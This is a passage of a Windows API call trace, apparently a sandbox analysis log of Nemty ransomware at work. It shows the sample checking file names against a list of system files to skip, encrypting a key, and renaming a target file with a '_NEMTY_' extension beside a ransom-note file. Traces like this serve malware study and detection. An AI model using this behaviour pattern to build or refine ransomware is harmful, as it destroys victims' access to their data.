lpString2="IO.SYS") returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="AUTOEXEC.BAT") returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="desktop.ini") returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="CONFIG.SYS") returned 1 [0169.696] lstrcmpiW (lpString1="logo.png", lpString2="RECYCLER") returned -1 [0169.696] lstrcmpiW (lpString1="logo.png", lpString2="BOOTSECT.BAK") returned 1 [0169.696] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1 [0169.696] lstrcmpiW (lpString1="logo.png", lpString2="programdata") returned -1 [0169.696] lstrcmpiW (lpString1="logo.png", lpString2="appdata") returned 1 [0169.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0169.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0169.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0169.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0169.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0169.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0169.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0169.696] Sleep (dwMilliseconds=0x5) [0169.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x18cd5350, dwHighDateTime=0x1d561e8)) [0169.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x18cd5350, dwHighDateTime=0x1d561e8)) [0169.710] GetLastError () returned 0x12 [0169.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.710] GetLastError () returned 0x12 [0169.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.710] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0169.710] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0169.711] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0169.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0169.711] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="OeOfqBZWWh3CoaGbOWW1JSOxaxD82cNHm6qfuPOqhaElgK3WPCB5BbLzbf6SRwn8\r\nSFOHdDcz0MOeWbmlqF883yP+J0eHtSEuQRTFu96yPrO3iCvujUESVCoQFBMRQeSh\r\n311leUZlBKsDXPNcGK2vi8Vuk+3M3fPA8bmQxNh3gyOao0r5U0WUod0/COEv6WAG\r\neLvkGTZdaTHp1qgklFLMh2BGtd5QMS+rtO3IiqrB6PR8d5Rn1cUqVUmaRHoOOcTT\r\nDqitTiTnwxdpbz5Tt/2ANw9nfDDwh39jKIp+RQxelM64GZY/3nGCjP3Z+3GXH9NY\r\nhFyo2HNnxDc6KQoYv3J8Ig==\r\n", pcchString=0x653ec5c) returned 1 [0169.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0169.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0169.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0169.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0169.711] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.711] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0169.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0169.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.711] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.721] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.730] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.730] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.739] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.749] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.767] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.767] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.776] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0169.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.826] CloseHandle (hObject=0xffffffff) returned 0 [0169.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0169.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0169.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\logo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\logo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\logo.png._nemty_kgobjgd_")) returned 0 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0169.827] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdcedd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xcdcedd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xcdcedd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0169.827] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0169.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0169.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0169.827] 